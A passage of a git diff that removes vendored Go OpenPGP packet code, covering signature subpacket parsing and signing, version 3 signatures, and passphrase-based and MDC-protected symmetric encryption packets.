{ - err = errors.StructuralError("expiration subpacket with bad length") - return - } - sig.SigLifetimeSecs = new(uint32) - *sig.SigLifetimeSecs = binary.BigEndian.Uint32(subpacket) - case keyExpirationSubpacket: - // Key expiration time, section 5.2.3.6 - if !isHashed { - return - } - if len(subpacket) != 4 { - err = errors.StructuralError("key expiration subpacket with bad length") - return - } - sig.KeyLifetimeSecs = new(uint32) - *sig.KeyLifetimeSecs = binary.BigEndian.Uint32(subpacket) - case prefSymmetricAlgosSubpacket: - // Preferred symmetric algorithms, section 5.2.3.7 - if !isHashed { - return - } - sig.PreferredSymmetric = make([]byte, len(subpacket)) - copy(sig.PreferredSymmetric, subpacket) - case issuerSubpacket: - // Issuer, section 5.2.3.5 - if len(subpacket) != 8 { - err = errors.StructuralError("issuer subpacket with bad length") - return - } - sig.IssuerKeyId = new(uint64) - *sig.IssuerKeyId = binary.BigEndian.Uint64(subpacket) - case prefHashAlgosSubpacket: - // Preferred hash algorithms, section 5.2.3.8 - if !isHashed { - return - } - sig.PreferredHash = make([]byte, len(subpacket)) - copy(sig.PreferredHash, subpacket) - case prefCompressionSubpacket: - // Preferred compression algorithms, section 5.2.3.9 - if !isHashed { - return - } - sig.PreferredCompression = make([]byte, len(subpacket)) - copy(sig.PreferredCompression, subpacket) - case primaryUserIdSubpacket: - // Primary User ID, section 5.2.3.19 - if !isHashed { - return - } - if len(subpacket) != 1 { - err = errors.StructuralError("primary user id subpacket with bad length") - return - } - sig.IsPrimaryId = new(bool) - if subpacket[0] > 0 { - *sig.IsPrimaryId = true - } - case keyFlagsSubpacket: - // Key flags, section 5.2.3.21 - if !isHashed { - return - } - if len(subpacket) == 0 { - err = errors.StructuralError("empty key flags subpacket") - return - } - sig.FlagsValid = true - if subpacket[0]&KeyFlagCertify != 0 { - sig.FlagCertify = true - } - if subpacket[0]&KeyFlagSign != 0 { - sig.FlagSign = true - } - if subpacket[0]&KeyFlagEncryptCommunications != 0 { - sig.FlagEncryptCommunications = true - } - if subpacket[0]&KeyFlagEncryptStorage != 0 { - sig.FlagEncryptStorage = true - } - case reasonForRevocationSubpacket: - // Reason For Revocation, section 5.2.3.23 - if !isHashed { - return - } - if len(subpacket) == 0 { - err = errors.StructuralError("empty revocation reason subpacket") - return - } - sig.RevocationReason = new(uint8) - *sig.RevocationReason = subpacket[0] - sig.RevocationReasonText = string(subpacket[1:]) - case featuresSubpacket: - // Features subpacket, section 5.2.3.24 specifies a very general - // mechanism for OpenPGP implementations to signal support for new - // features. In practice, the subpacket is used exclusively to - // indicate support for MDC-protected encryption. - sig.MDC = len(subpacket) >= 1 && subpacket[0]&1 == 1 - case embeddedSignatureSubpacket: - // Only usage is in signatures that cross-certify - // signing subkeys. section 5.2.3.26 describes the - // format, with its usage described in section 11.1 - if sig.EmbeddedSignature != nil { - err = errors.StructuralError("Cannot have multiple embedded signatures") - return - } - sig.EmbeddedSignature = new(Signature) - // Embedded signatures are required to be v4 signatures see - // section 12.1. However, we only parse v4 signatures in this - // file anyway. - if err := sig.EmbeddedSignature.parse(bytes.NewBuffer(subpacket)); err != nil { - return nil, err - } - if sigType := sig.EmbeddedSignature.SigType; sigType != SigTypePrimaryKeyBinding { - return nil, errors.StructuralError("cross-signature has unexpected type " + strconv.Itoa(int(sigType))) - } - default: - if isCritical { - err = errors.UnsupportedError("unknown critical signature subpacket type " + strconv.Itoa(int(packetType))) - return - } - } - return - -Truncated: - err = errors.StructuralError("signature subpacket truncated") - return -} - -// subpacketLengthLength returns the length, in bytes, of an encoded length value. -func subpacketLengthLength(length int) int { - if length < 192 { - return 1 - } - if length < 16320 { - return 2 - } - return 5 -} - -// serializeSubpacketLength marshals the given length into to. -func serializeSubpacketLength(to []byte, length int) int { - // RFC 4880, Section 4.2.2. - if length < 192 { - to[0] = byte(length) - return 1 - } - if length < 16320 { - length -= 192 - to[0] = byte((length >> 8) + 192) - to[1] = byte(length) - return 2 - } - to[0] = 255 - to[1] = byte(length >> 24) - to[2] = byte(length >> 16) - to[3] = byte(length >> 8) - to[4] = byte(length) - return 5 -} - -// subpacketsLength returns the serialized length, in bytes, of the given -// subpackets. -func subpacketsLength(subpackets []outputSubpacket, hashed bool) (length int) { - for _, subpacket := range subpackets { - if subpacket.hashed == hashed { - length += subpacketLengthLength(len(subpacket.contents) + 1) - length += 1 // type byte - length += len(subpacket.contents) - } - } - return -} - -// serializeSubpackets marshals the given subpackets into to. -func serializeSubpackets(to []byte, subpackets []outputSubpacket, hashed bool) { - for _, subpacket := range subpackets { - if subpacket.hashed == hashed { - n := serializeSubpacketLength(to, len(subpacket.contents)+1) - to[n] = byte(subpacket.subpacketType) - to = to[1+n:] - n = copy(to, subpacket.contents) - to = to[n:] - } - } - return -} - -// KeyExpired returns whether sig is a self-signature of a key that has -// expired. -func (sig *Signature) KeyExpired(currentTime time.Time) bool { - if sig.KeyLifetimeSecs == nil { - return false - } - expiry := sig.CreationTime.Add(time.Duration(*sig.KeyLifetimeSecs) * time.Second) - return currentTime.After(expiry) -} - -// buildHashSuffix constructs the HashSuffix member of sig in preparation for signing. -func (sig *Signature) buildHashSuffix() (err error) { - hashedSubpacketsLen := subpacketsLength(sig.outSubpackets, true) - - var ok bool - l := 6 + hashedSubpacketsLen - sig.HashSuffix = make([]byte, l+6) - sig.HashSuffix[0] = 4 - sig.HashSuffix[1] = uint8(sig.SigType) - sig.HashSuffix[2] = uint8(sig.PubKeyAlgo) - sig.HashSuffix[3], ok = s2k.HashToHashId(sig.Hash) - if !ok { - sig.HashSuffix = nil - return errors.InvalidArgumentError("hash cannot be represented in OpenPGP: " + strconv.Itoa(int(sig.Hash))) - } - sig.HashSuffix[4] = byte(hashedSubpacketsLen >> 8) - sig.HashSuffix[5] = byte(hashedSubpacketsLen) - serializeSubpackets(sig.HashSuffix[6:l], sig.outSubpackets, true) - trailer := sig.HashSuffix[l:] - trailer[0] = 4 - trailer[1] = 0xff - trailer[2] = byte(l >> 24) - trailer[3] = byte(l >> 16) - trailer[4] = byte(l >> 8) - trailer[5] = byte(l) - return -} - -func (sig *Signature) signPrepareHash(h hash.Hash) (digest []byte, err error) { - err = sig.buildHashSuffix() - if err != nil { - return - } - - h.Write(sig.HashSuffix) - digest = h.Sum(nil) - copy(sig.HashTag[:], digest) - return -} - -// Sign signs a message with a private key. The hash, h, must contain -// the hash of the message to be signed and will be mutated by this function. -// On success, the signature is stored in sig. Call Serialize to write it out. -// If config is nil, sensible defaults will be used. -func (sig *Signature) Sign(h hash.Hash, priv *PrivateKey, config *Config) (err error) { - sig.outSubpackets = sig.buildSubpackets() - digest, err := sig.signPrepareHash(h) - if err != nil { - return - } - - switch priv.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - // supports both *rsa.PrivateKey and crypto.Signer - sig.RSASignature.bytes, err = priv.PrivateKey.(crypto.Signer).Sign(config.Random(), digest, sig.Hash) - sig.RSASignature.bitLength = uint16(8 * len(sig.RSASignature.bytes)) - case PubKeyAlgoDSA: - dsaPriv := priv.PrivateKey.(*dsa.PrivateKey) - - // Need to truncate hashBytes to match FIPS 186-3 section 4.6. - subgroupSize := (dsaPriv.Q.BitLen() + 7) / 8 - if len(digest) > subgroupSize { - digest = digest[:subgroupSize] - } - r, s, err := dsa.Sign(config.Random(), dsaPriv, digest) - if err == nil { - sig.DSASigR.bytes = r.Bytes() - sig.DSASigR.bitLength = uint16(8 * len(sig.DSASigR.bytes)) - sig.DSASigS.bytes = s.Bytes() - sig.DSASigS.bitLength = uint16(8 * len(sig.DSASigS.bytes)) - } - case PubKeyAlgoECDSA: - var r, s *big.Int - if pk, ok := priv.PrivateKey.(*ecdsa.PrivateKey); ok { - // direct support, avoid asn1 wrapping/unwrapping - r, s, err = ecdsa.Sign(config.Random(), pk, digest) - } else { - var b []byte - b, err = priv.PrivateKey.(crypto.Signer).Sign(config.Random(), digest, sig.Hash) - if err == nil { - r, s, err = unwrapECDSASig(b) - } - } - if err == nil { - sig.ECDSASigR = fromBig(r) - sig.ECDSASigS = fromBig(s) - } - default: - err = errors.UnsupportedError("public key algorithm: " + strconv.Itoa(int(sig.PubKeyAlgo))) - } - - return -} - -// unwrapECDSASig parses the two integer components of an ASN.1-encoded ECDSA -// signature. -func unwrapECDSASig(b []byte) (r, s *big.Int, err error) { - var ecsdaSig struct { - R, S *big.Int - } - _, err = asn1.Unmarshal(b, &ecsdaSig) - if err != nil { - return - } - return ecsdaSig.R, ecsdaSig.S, nil -} - -// SignUserId computes a signature from priv, asserting that pub is a valid -// key for the identity id. On success, the signature is stored in sig. Call -// Serialize to write it out. -// If config is nil, sensible defaults will be used. -func (sig *Signature) SignUserId(id string, pub *PublicKey, priv *PrivateKey, config *Config) error { - h, err := userIdSignatureHash(id, pub, sig.Hash) - if err != nil { - return err - } - return sig.Sign(h, priv, config) -} - -// SignKey computes a signature from priv, asserting that pub is a subkey. On -// success, the signature is stored in sig. Call Serialize to write it out. -// If config is nil, sensible defaults will be used. -func (sig *Signature) SignKey(pub *PublicKey, priv *PrivateKey, config *Config) error { - h, err := keySignatureHash(&priv.PublicKey, pub, sig.Hash) - if err != nil { - return err - } - return sig.Sign(h, priv, config) -} - -// Serialize marshals sig to w. Sign, SignUserId or SignKey must have been -// called first. -func (sig *Signature) Serialize(w io.Writer) (err error) { - if len(sig.outSubpackets) == 0 { - sig.outSubpackets = sig.rawSubpackets - } - if sig.RSASignature.bytes == nil && sig.DSASigR.bytes == nil && sig.ECDSASigR.bytes == nil { - return errors.InvalidArgumentError("Signature: need to call Sign, SignUserId or SignKey before Serialize") - } - - sigLength := 0 - switch sig.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - sigLength = 2 + len(sig.RSASignature.bytes) - case PubKeyAlgoDSA: - sigLength = 2 + len(sig.DSASigR.bytes) - sigLength += 2 + len(sig.DSASigS.bytes) - case PubKeyAlgoECDSA: - sigLength = 2 + len(sig.ECDSASigR.bytes) - sigLength += 2 + len(sig.ECDSASigS.bytes) - default: - panic("impossible") - } - - unhashedSubpacketsLen := subpacketsLength(sig.outSubpackets, false) - length := len(sig.HashSuffix) - 6 /* trailer not included */ + - 2 /* length of unhashed subpackets */ + unhashedSubpacketsLen + - 2 /* hash tag */ + sigLength - err = serializeHeader(w, packetTypeSignature, length) - if err != nil { - return - } - - _, err = w.Write(sig.HashSuffix[:len(sig.HashSuffix)-6]) - if err != nil { - return - } - - unhashedSubpackets := make([]byte, 2+unhashedSubpacketsLen) - unhashedSubpackets[0] = byte(unhashedSubpacketsLen >> 8) - unhashedSubpackets[1] = byte(unhashedSubpacketsLen) - serializeSubpackets(unhashedSubpackets[2:], sig.outSubpackets, false) - - _, err = w.Write(unhashedSubpackets) - if err != nil { - return - } - _, err = w.Write(sig.HashTag[:]) - if err != nil { - return - } - - switch sig.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - err = writeMPIs(w, sig.RSASignature) - case PubKeyAlgoDSA: - err = writeMPIs(w, sig.DSASigR, sig.DSASigS) - case PubKeyAlgoECDSA: - err = writeMPIs(w, sig.ECDSASigR, sig.ECDSASigS) - default: - panic("impossible") - } - return -} - -// outputSubpacket represents a subpacket to be marshaled. -type outputSubpacket struct { - hashed bool // true if this subpacket is in the hashed area. - subpacketType signatureSubpacketType - isCritical bool - contents []byte -} - -func (sig *Signature) buildSubpackets() (subpackets []outputSubpacket) { - creationTime := make([]byte, 4) - binary.BigEndian.PutUint32(creationTime, uint32(sig.CreationTime.Unix())) - subpackets = append(subpackets, outputSubpacket{true, creationTimeSubpacket, false, creationTime}) - - if sig.IssuerKeyId != nil { - keyId := make([]byte, 8) - binary.BigEndian.PutUint64(keyId, *sig.IssuerKeyId) - subpackets = append(subpackets, outputSubpacket{true, issuerSubpacket, false, keyId}) - } - - if sig.SigLifetimeSecs != nil && *sig.SigLifetimeSecs != 0 { - sigLifetime := make([]byte, 4) - binary.BigEndian.PutUint32(sigLifetime, *sig.SigLifetimeSecs) - subpackets = append(subpackets, outputSubpacket{true, signatureExpirationSubpacket, true, sigLifetime}) - } - - // Key flags may only appear in self-signatures or certification signatures. - - if sig.FlagsValid { - var flags byte - if sig.FlagCertify { - flags |= KeyFlagCertify - } - if sig.FlagSign { - flags |= KeyFlagSign - } - if sig.FlagEncryptCommunications { - flags |= KeyFlagEncryptCommunications - } - if sig.FlagEncryptStorage { - flags |= KeyFlagEncryptStorage - } - subpackets = append(subpackets, outputSubpacket{true, keyFlagsSubpacket, false, []byte{flags}}) - } - - // The following subpackets may only appear in self-signatures - - if sig.KeyLifetimeSecs != nil && *sig.KeyLifetimeSecs != 0 { - keyLifetime := make([]byte, 4) - binary.BigEndian.PutUint32(keyLifetime, *sig.KeyLifetimeSecs) - subpackets = append(subpackets, outputSubpacket{true, keyExpirationSubpacket, true, keyLifetime}) - } - - if sig.IsPrimaryId != nil && *sig.IsPrimaryId { - subpackets = append(subpackets, outputSubpacket{true, primaryUserIdSubpacket, false, []byte{1}}) - } - - if len(sig.PreferredSymmetric) > 0 { - subpackets = append(subpackets, outputSubpacket{true, prefSymmetricAlgosSubpacket, false, sig.PreferredSymmetric}) - } - - if len(sig.PreferredHash) > 0 { - subpackets = append(subpackets, outputSubpacket{true, prefHashAlgosSubpacket, false, sig.PreferredHash}) - } - - if len(sig.PreferredCompression) > 0 { - subpackets = append(subpackets, outputSubpacket{true, prefCompressionSubpacket, false, sig.PreferredCompression}) - } - - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/signature_v3.go b/vendor/golang.org/x/crypto/openpgp/packet/signature_v3.go deleted file mode 100644 index 6edff88934..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/signature_v3.go +++ /dev/null @@ -1,146 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "crypto" - "encoding/binary" - "fmt" - "io" - "strconv" - "time" - - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/s2k" -) - -// SignatureV3 represents older version 3 signatures. These signatures are less secure -// than version 4 and should not be used to create new signatures. They are included -// here for backwards compatibility to read and validate with older key material. -// See RFC 4880, section 5.2.2. -type SignatureV3 struct { - SigType SignatureType - CreationTime time.Time - IssuerKeyId uint64 - PubKeyAlgo PublicKeyAlgorithm - Hash crypto.Hash - HashTag [2]byte - - RSASignature parsedMPI - DSASigR, DSASigS parsedMPI -} - -func (sig *SignatureV3) parse(r io.Reader) (err error) { - // RFC 4880, section 5.2.2 - var buf [8]byte - if _, err = readFull(r, buf[:1]); err != nil { - return - } - if buf[0] < 2 || buf[0] > 3 { - err = errors.UnsupportedError("signature packet version " + strconv.Itoa(int(buf[0]))) - return - } - if _, err = readFull(r, buf[:1]); err != nil { - return - } - if buf[0] != 5 { - err = errors.UnsupportedError( - "invalid hashed material length " + strconv.Itoa(int(buf[0]))) - return - } - - // Read hashed material: signature type + creation time - if _, err = readFull(r, buf[:5]); err != nil { - return - } - sig.SigType = SignatureType(buf[0]) - t := binary.BigEndian.Uint32(buf[1:5]) - sig.CreationTime = time.Unix(int64(t), 0) - - // Eight-octet Key ID of signer. - if _, err = readFull(r, buf[:8]); err != nil { - return - } - sig.IssuerKeyId = binary.BigEndian.Uint64(buf[:]) - - // Public-key and hash algorithm - if _, err = readFull(r, buf[:2]); err != nil { - return - } - sig.PubKeyAlgo = PublicKeyAlgorithm(buf[0]) - switch sig.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly, PubKeyAlgoDSA: - default: - err = errors.UnsupportedError("public key algorithm " + strconv.Itoa(int(sig.PubKeyAlgo))) - return - } - var ok bool - if sig.Hash, ok = s2k.HashIdToHash(buf[1]); !ok { - return errors.UnsupportedError("hash function " + strconv.Itoa(int(buf[2]))) - } - - // Two-octet field holding left 16 bits of signed hash value. - if _, err = readFull(r, sig.HashTag[:2]); err != nil { - return - } - - switch sig.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - sig.RSASignature.bytes, sig.RSASignature.bitLength, err = readMPI(r) - case PubKeyAlgoDSA: - if sig.DSASigR.bytes, sig.DSASigR.bitLength, err = readMPI(r); err != nil { - return - } - sig.DSASigS.bytes, sig.DSASigS.bitLength, err = readMPI(r) - default: - panic("unreachable") - } - return -} - -// Serialize marshals sig to w. Sign, SignUserId or SignKey must have been -// called first. -func (sig *SignatureV3) Serialize(w io.Writer) (err error) { - buf := make([]byte, 8) - - // Write the sig type and creation time - buf[0] = byte(sig.SigType) - binary.BigEndian.PutUint32(buf[1:5], uint32(sig.CreationTime.Unix())) - if _, err = w.Write(buf[:5]); err != nil { - return - } - - // Write the issuer long key ID - binary.BigEndian.PutUint64(buf[:8], sig.IssuerKeyId) - if _, err = w.Write(buf[:8]); err != nil { - return - } - - // Write public key algorithm, hash ID, and hash value - buf[0] = byte(sig.PubKeyAlgo) - hashId, ok := s2k.HashToHashId(sig.Hash) - if !ok { - return errors.UnsupportedError(fmt.Sprintf("hash function %v", sig.Hash)) - } - buf[1] = hashId - copy(buf[2:4], sig.HashTag[:]) - if _, err = w.Write(buf[:4]); err != nil { - return - } - - if sig.RSASignature.bytes == nil && sig.DSASigR.bytes == nil { - return errors.InvalidArgumentError("Signature: need to call Sign, SignUserId or SignKey before Serialize") - } - - switch sig.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly: - err = writeMPIs(w, sig.RSASignature) - case PubKeyAlgoDSA: - err = writeMPIs(w, sig.DSASigR, sig.DSASigS) - default: - panic("impossible") - } - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/symmetric_key_encrypted.go b/vendor/golang.org/x/crypto/openpgp/packet/symmetric_key_encrypted.go deleted file mode 100644 index 744c2d2c42..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/symmetric_key_encrypted.go +++ /dev/null @@ -1,155 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "bytes" - "crypto/cipher" - "io" - "strconv" - - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/s2k" -) - -// This is the largest session key that we'll support. Since no 512-bit cipher -// has even been seriously used, this is comfortably large. -const maxSessionKeySizeInBytes = 64 - -// SymmetricKeyEncrypted represents a passphrase protected session key. See RFC -// 4880, section 5.3. -type SymmetricKeyEncrypted struct { - CipherFunc CipherFunction - s2k func(out, in []byte) - encryptedKey []byte -} - -const symmetricKeyEncryptedVersion = 4 - -func (ske *SymmetricKeyEncrypted) parse(r io.Reader) error { - // RFC 4880, section 5.3. - var buf [2]byte - if _, err := readFull(r, buf[:]); err != nil { - return err - } - if buf[0] != symmetricKeyEncryptedVersion { - return errors.UnsupportedError("SymmetricKeyEncrypted version") - } - ske.CipherFunc = CipherFunction(buf[1]) - - if ske.CipherFunc.KeySize() == 0 { - return errors.UnsupportedError("unknown cipher: " + strconv.Itoa(int(buf[1]))) - } - - var err error - ske.s2k, err = s2k.Parse(r) - if err != nil { - return err - } - - encryptedKey := make([]byte, maxSessionKeySizeInBytes) - // The session key may follow. We just have to try and read to find - // out. If it exists then we limit it to maxSessionKeySizeInBytes. - n, err := readFull(r, encryptedKey) - if err != nil && err != io.ErrUnexpectedEOF { - return err - } - - if n != 0 { - if n == maxSessionKeySizeInBytes { - return errors.UnsupportedError("oversized encrypted session key") - } - ske.encryptedKey = encryptedKey[:n] - } - - return nil -} - -// Decrypt attempts to decrypt an encrypted session key and returns the key and -// the cipher to use when decrypting a subsequent Symmetrically Encrypted Data -// packet. -func (ske *SymmetricKeyEncrypted) Decrypt(passphrase []byte) ([]byte, CipherFunction, error) { - key := make([]byte, ske.CipherFunc.KeySize()) - ske.s2k(key, passphrase) - - if len(ske.encryptedKey) == 0 { - return key, ske.CipherFunc, nil - } - - // the IV is all zeros - iv := make([]byte, ske.CipherFunc.blockSize()) - c := cipher.NewCFBDecrypter(ske.CipherFunc.new(key), iv) - plaintextKey := make([]byte, len(ske.encryptedKey)) - c.XORKeyStream(plaintextKey, ske.encryptedKey) - cipherFunc := CipherFunction(plaintextKey[0]) - if cipherFunc.blockSize() == 0 { - return nil, ske.CipherFunc, errors.UnsupportedError("unknown cipher: " + strconv.Itoa(int(cipherFunc))) - } - plaintextKey = plaintextKey[1:] - if l, cipherKeySize := len(plaintextKey), cipherFunc.KeySize(); l != cipherFunc.KeySize() { - return nil, cipherFunc, errors.StructuralError("length of decrypted key (" + strconv.Itoa(l) + ") " + - "not equal to cipher keysize (" + strconv.Itoa(cipherKeySize) + ")") - } - return plaintextKey, cipherFunc, nil -} - -// SerializeSymmetricKeyEncrypted serializes a symmetric key packet to w. The -// packet contains a random session key, encrypted by a key derived from the -// given passphrase. The session key is returned and must be passed to -// SerializeSymmetricallyEncrypted. -// If config is nil, sensible defaults will be used. -func SerializeSymmetricKeyEncrypted(w io.Writer, passphrase []byte, config *Config) (key []byte, err error) { - cipherFunc := config.Cipher() - keySize := cipherFunc.KeySize() - if keySize == 0 { - return nil, errors.UnsupportedError("unknown cipher: " + strconv.Itoa(int(cipherFunc))) - } - - s2kBuf := new(bytes.Buffer) - keyEncryptingKey := make([]byte, keySize) - // s2k.Serialize salts and stretches the passphrase, and writes the - // resulting key to keyEncryptingKey and the s2k descriptor to s2kBuf. - err = s2k.Serialize(s2kBuf, keyEncryptingKey, config.Random(), passphrase, &s2k.Config{Hash: config.Hash(), S2KCount: config.PasswordHashIterations()}) - if err != nil { - return - } - s2kBytes := s2kBuf.Bytes() - - packetLength := 2 /* header */ + len(s2kBytes) + 1 /* cipher type */ + keySize - err = serializeHeader(w, packetTypeSymmetricKeyEncrypted, packetLength) - if err != nil { - return - } - - var buf [2]byte - buf[0] = symmetricKeyEncryptedVersion - buf[1] = byte(cipherFunc) - _, err = w.Write(buf[:]) - if err != nil { - return - } - _, err = w.Write(s2kBytes) - if err != nil { - return - } - - sessionKey := make([]byte, keySize) - _, err = io.ReadFull(config.Random(), sessionKey) - if err != nil { - return - } - iv := make([]byte, cipherFunc.blockSize()) - c := cipher.NewCFBEncrypter(cipherFunc.new(keyEncryptingKey), iv) - encryptedCipherAndKey := make([]byte, keySize+1) - c.XORKeyStream(encryptedCipherAndKey, buf[1:]) - c.XORKeyStream(encryptedCipherAndKey[1:], sessionKey) - _, err = w.Write(encryptedCipherAndKey) - if err != nil { - return - } - - key = sessionKey - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/symmetrically_encrypted.go b/vendor/golang.org/x/crypto/openpgp/packet/symmetrically_encrypted.go deleted file mode 100644 index 6126030eb9..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/symmetrically_encrypted.go +++ /dev/null @@ -1,290 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "crypto/cipher" - "crypto/sha1" - "crypto/subtle" - "golang.org/x/crypto/openpgp/errors" - "hash" - "io" - "strconv" -) - -// SymmetricallyEncrypted represents a symmetrically encrypted byte string. The -// encrypted contents will consist of more OpenPGP packets. See RFC 4880, -// sections 5.7 and 5.13. -type SymmetricallyEncrypted struct { - MDC bool // true iff this is a type 18 packet and thus has an embedded MAC. - contents io.Reader - prefix []byte -} - -const symmetricallyEncryptedVersion = 1 - -func (se *SymmetricallyEncrypted) parse(r io.Reader) error { - if se.MDC { - // See RFC 4880, section 5.13. - var buf [1]byte - _, err := readFull(r, buf[:]) - if err != nil { - return err - } - if buf[0] != symmetricallyEncryptedVersion { - return errors.UnsupportedError("unknown SymmetricallyEncrypted version") - } - } - se.contents = r - return nil -} - -// Decrypt returns a ReadCloser, from which the decrypted contents of the -// packet can be read. An incorrect key can, with high probability, be detected -// immediately and this will result in a KeyIncorrect error being returned. -func (se *SymmetricallyEncrypted) Decrypt(c CipherFunction, key []byte) (io.ReadCloser, error) { - keySize := c.KeySize() - if keySize == 0 { - return nil, errors.UnsupportedError("unknown cipher: " + strconv.Itoa(int(c))) - } - if len(key) != keySize { - return nil, errors.InvalidArgumentError("SymmetricallyEncrypted: incorrect key length") - } - - if se.prefix == nil { - se.prefix = make([]byte, c.blockSize()+2) - _, err := readFull(se.contents, se.prefix) - if err != nil { - return nil, err - } - } else if len(se.prefix) != c.blockSize()+2 { - return nil, errors.InvalidArgumentError("can't try ciphers with different block lengths") - } - - ocfbResync := OCFBResync - if se.MDC { - // MDC packets use a different form of OCFB mode. - ocfbResync = OCFBNoResync - } - - s := NewOCFBDecrypter(c.new(key), se.prefix, ocfbResync) - if s == nil { - return nil, errors.ErrKeyIncorrect - } - - plaintext := cipher.StreamReader{S: s, R: se.contents} - - if se.MDC { - // MDC packets have an embedded hash that we need to check. - h := sha1.New() - h.Write(se.prefix) - return &seMDCReader{in: plaintext, h: h}, nil - } - - // Otherwise, we just need to wrap plaintext so that it's a valid ReadCloser. - return seReader{plaintext}, nil -} - -// seReader wraps an io.Reader with a no-op Close method. -type seReader struct { - in io.Reader -} - -func (ser seReader) Read(buf []byte) (int, error) { - return ser.in.Read(buf) -} - -func (ser seReader) Close() error { - return nil -} - -const mdcTrailerSize = 1 /* tag byte */ + 1 /* length byte */ + sha1.Size - -// An seMDCReader wraps an io.Reader, maintains a running hash and keeps hold -// of the most recent 22 bytes (mdcTrailerSize). Upon EOF, those bytes form an -// MDC packet containing a hash of the previous contents which is checked -// against the running hash. See RFC 4880, section 5.13. -type seMDCReader struct { - in io.Reader - h hash.Hash - trailer [mdcTrailerSize]byte - scratch [mdcTrailerSize]byte - trailerUsed int - error bool - eof bool -} - -func (ser *seMDCReader) Read(buf []byte) (n int, err error) { - if ser.error { - err = io.ErrUnexpectedEOF - return - } - if ser.eof { - err = io.EOF - return - } - - // If we haven't yet filled the trailer buffer then we must do that - // first. - for ser.trailerUsed < mdcTrailerSize { - n, err = ser.in.Read(ser.trailer[ser.trailerUsed:]) - ser.trailerUsed += n - if err == io.EOF { - if ser.trailerUsed != mdcTrailerSize { - n = 0 - err = io.ErrUnexpectedEOF - ser.error = true - return - } - ser.eof = true - n = 0 - return - } - - if err != nil { - n = 0 - return - } - } - - // If it's a short read then we read into a temporary buffer and shift - // the data into the caller's buffer. - if len(buf) <= mdcTrailerSize { - n, err = readFull(ser.in, ser.scratch[:len(buf)]) - copy(buf, ser.trailer[:n]) - ser.h.Write(buf[:n]) - copy(ser.trailer[:], ser.trailer[n:]) - copy(ser.trailer[mdcTrailerSize-n:], ser.scratch[:]) - if n < len(buf) { - ser.eof = true - err = io.EOF - } - return - } - - n, err = ser.in.Read(buf[mdcTrailerSize:]) - copy(buf, ser.trailer[:]) - ser.h.Write(buf[:n]) - copy(ser.trailer[:], buf[n:]) - - if err == io.EOF { - ser.eof = true - } - return -} - -// This is a new-format packet tag byte for a type 19 (MDC) packet. -const mdcPacketTagByte = byte(0x80) | 0x40 | 19 - -func (ser *seMDCReader) Close() error { - if ser.error { - return errors.SignatureError("error during reading") - } - - for !ser.eof { - // We haven't seen EOF so we need to read to the end - var buf [1024]byte - _, err := ser.Read(buf[:]) - if err == io.EOF { - break - } - if err != nil { - return errors.SignatureError("error during reading") - } - } - - if ser.trailer[0] != mdcPacketTagByte || ser.trailer[1] != sha1.Size { - return errors.SignatureError("MDC packet not found") - } - ser.h.Write(ser.trailer[:2]) - - final := ser.h.Sum(nil) - if subtle.ConstantTimeCompare(final, ser.trailer[2:]) != 1 { - return errors.SignatureError("hash mismatch") - } - return nil -} - -// An seMDCWriter writes through to an io.WriteCloser while maintains a running -// hash of the data written. On close, it emits an MDC packet containing the -// running hash. -type seMDCWriter struct { - w io.WriteCloser - h hash.Hash -} - -func (w *seMDCWriter) Write(buf []byte) (n int, err error) { - w.h.Write(buf) - return w.w.Write(buf) -} - -func (w *seMDCWriter) Close() (err error) { - var buf [mdcTrailerSize]byte - - buf[0] = mdcPacketTagByte - buf[1] = sha1.Size - w.h.Write(buf[:2]) - digest := w.h.Sum(nil) - copy(buf[2:], digest) - - _, err = w.w.Write(buf[:]) - if err != nil { - return - } - return w.w.Close() -} - -// noOpCloser is like an ioutil.NopCloser, but for an io.Writer. -type noOpCloser struct { - w io.Writer -} - -func (c noOpCloser) Write(data []byte) (n int, err error) { - return c.w.Write(data) -} - -func (c noOpCloser) Close() error { - return nil -} - -// SerializeSymmetricallyEncrypted serializes a symmetrically encrypted packet -// to w and returns a WriteCloser to which the to-be-encrypted packets can be -// written. -// If config is nil, sensible defaults will be used. -func SerializeSymmetricallyEncrypted(w io.Writer, c CipherFunction, key []byte, config *Config) (contents io.WriteCloser, err error) { - if c.KeySize() != len(key) { - return nil, errors.InvalidArgumentError("SymmetricallyEncrypted.Serialize: bad key length") - } - writeCloser := noOpCloser{w} - ciphertext, err := serializeStreamHeader(writeCloser, packetTypeSymmetricallyEncryptedMDC) - if err != nil { - return - } - - _, err = ciphertext.Write([]byte{symmetricallyEncryptedVersion}) - if err != nil { - return - } - - block := c.new(key) - blockSize := block.BlockSize() - iv := make([]byte, blockSize) - _, err = config.Random().Read(iv) - if err != nil { - return - } - s, prefix := NewOCFBEncrypter(block, iv, OCFBNoResync) - _, err = ciphertext.Write(prefix) - if err != nil { - return - } - plaintext := cipher.StreamWriter{S: s, W: ciphertext} - - h := sha1.New() - h.Write(iv) - h.Write(iv[blockSize-2:]) - contents = &seMDCWriter{w: plaintext, h: h} - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/userattribute.go b/vendor/golang.org/x/crypto/openpgp/packet/userattribute.go deleted file mode 100644 index d19ffbc786..0000000000 --- 